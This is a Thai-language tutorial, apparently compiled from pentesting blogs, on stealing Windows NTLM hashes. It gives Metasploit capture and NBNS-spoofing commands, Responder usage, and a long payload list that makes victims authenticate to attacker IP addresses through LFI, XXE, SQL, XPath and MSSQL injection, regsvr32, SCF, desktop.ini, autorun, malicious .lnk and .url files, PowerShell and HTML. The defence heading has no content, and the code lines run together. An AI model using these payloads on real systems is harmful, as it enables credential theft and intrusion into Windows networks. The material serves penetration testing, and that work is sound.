NTLM มาจากการรวมกันของ
- NT: New technologies (Windows)
- LAN: Local area network
- M: Manager
ใน Windows Network, NTLLM เป็น Microsoft security protocols. โดย authentication ทาง network โดย default ของเครื่อง Windows NT 4.0 operating system และ NTLMv2 เป็น version ล่าสุด และใช้ NT MD4 เป็น hash function มีความยาวที่ 128 bits ใช้ได้ทั้ง local account และ Domain account.
ทดสอบ capture NTLM โดยใช้ Metasploit Module (auxiliary/server/capture/http_ntlm)
1 2 3 4 5 |
use auxiliary/server/capture/http_ntlm msf auxiliary(http_ntlm) > set srvhost 0.0.0.0 msf auxiliary(http_ntlm) > set SRVPORT 80 msf auxiliary(http_ntlm) > set JOHNPWFILE /root/Desktop/ msf auxiliary(http_ntlm) > exploit |
เมื่อ user ทำการเข้าเว็บไซด์ของเราจะมีการให้กรอก username, password ซึ่งเป็น NTLM ไปให้ครับ
ทดสอบ capture NTLM โดยใช้ Metasploit Module (auxiliary/server/capture/smb)
1 2 3 4 5 |
use auxiliary/server/capture/smb set SRVHOST 0.0.0.0 use auxiliary/spoof/nbns/nbns_response set SPOOFIP 192.168.56.101 (Attacker) |
หาก user เข้าใช้งาน file sharing ที่ Attacker ก็จะกลายเป็นส่ง NTLM ไปให้ Attacker ครับ (ซึ่งโดยปกติมันจะส่ง username, password ที่ใช้ ณ ขณะนั้นให้ก่อนเลยครับ)
ทดสอบ capture NTLM โดยใช้ Metasploit Module (auxiliary/docx/word_unc_injector)
1 2 3 |
use auxiliary/docx/word_unc_injector set LHOST 192.168.56.101 exploit |
ไฟล์ word จะถูกสร้างแล้วทิ้งไว้ที่ /root/.msf4/loot/msf.docx ที่เหลือคือรอให้ client เปิดไฟล์ครับ
ทดสอบ capture NTLM โดยใช้ Responder
Responder เป็นเครื่องมือที่ถูกสร้างมาเพื่อการ capture NTLM โดยเฉพาะ โดยเมื่อเรารันขึ้นมาตัว Responder ก็จะสร้าง service ที่เต็มไปด้วย NTLM Authentication เต็มไปหมด
1 2 |
git clone https://github.com/SpiderLabs/Responder.git python Responder.py –I 192.168.56.101 -I eth0 |
เมื่อ user เข้าไปใช้บริการ service ใดๆ เช่น HTTP, File Sharing เป็นต้น ก็จะทำการส่ง NTLM ไปให้กับทาง attacker
How to defending SMB Relay
วิธีการขโมยผ่าน Web Attack
- LFI
- http://host.tld/?page=//11.22.33.44
- XXE
-
123456789<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >]><root><name></name><tel></tel><email>OUT&xxe;OUT</email><password></password></root>
-
- XPATH Injection
-
1http://host.tld/?title=Foundation&type=*&rent_days=* and doc('//35.164.153.224/')
-
- SQL Injection
-
1http://host.tld/index.php?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00
-
- MSSQL Injection
-
1';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q
-
Post Exploitation
-
1regsvr32 /s /u /i://35.164.153.224/@OsandaMalith scrobj.dll
- Batch
-
123456789echo 1 > //192.168.0.1/abcpushd \\192.168.0.1\abccmd /k \\192.168.0.1\abccmd /c \\192.168.0.1\abcstart \\192.168.0.1\abcmkdir \\192.168.0.1\abctype\\192.168.0.1\abcdir\\192.168.0.1\abcfind, findstr, [x]copy, move, replace, del, rename and many more!
-
- AutoRun
-
1234[autorun]open=\\35.164.153.224\setup.exeicon=something.icoaction=open Setup.exe
-
- Shell Command files (SCF)
-
12345[Shell]Command=2IconFile=\\35.164.153.224\test.ico[Taskbar]Command=ToggleDesktop
-
- Desktop.ini
-
123456mkdir openMeattrib +s openMecd openMeecho [.ShellClassInfo] > desktop.iniecho IconResource=\\192.168.0.1\aa >> desktop.iniattrib +s +h desktop.ini
-
- Shortcut Files (.lnk)
-
123456789101112131415161718192021Set shl = CreateObject("WScript.Shell")Set fso = CreateObject("Scripting.FileSystemObject")currentFolder = shl.CurrentDirectorySet sc = shl.CreateShortcut(fso.BuildPath(currentFolder, "\StealMyHashes.lnk"))sc.TargetPath = "\\35.164.153.224\@OsandaMalith"sc.WindowStyle = 1sc.HotKey = "Ctrl+Alt+O"sc.IconLocation = "%windir%\system32\shell32.dll, 3"sc.Description = "I will Steal your Hashes"sc.SavePowershell version$objShell = New-Object -ComObject WScript.Shell$lnk = $objShell.CreateShortcut("StealMyHashes.lnk")$lnk.TargetPath = "\\35.164.153.224\@OsandaMalith"$lnk.WindowStyle = 1$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"$lnk.Description = "I will Steal your Hashes"$lnk.HotKey = "Ctrl+Alt+O"$lnk.Save()
-
- Internet Shortcut (.url)
-
12echo [InternetShortcut] > stealMyHashes.urlecho URL=file://192.168.0.1/@OsandaMalith >> stealMyHashes.url
-
- Powershell
-
123Invoke-Item \\192.168.0.1\aaGet-Content \\192.168.0.1\aaStart-Process \\192.168.0.1\aa
-
- IE
-
1<img src="\\\\192.168.0.1\\aa">
-
12345678<html><script type="text/Vbscript"><!--Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.OpenTextFile("//192.168.0.100/aa", 1)//--></script></html>
-
Source:: HackingArticles, LM, Osandamalith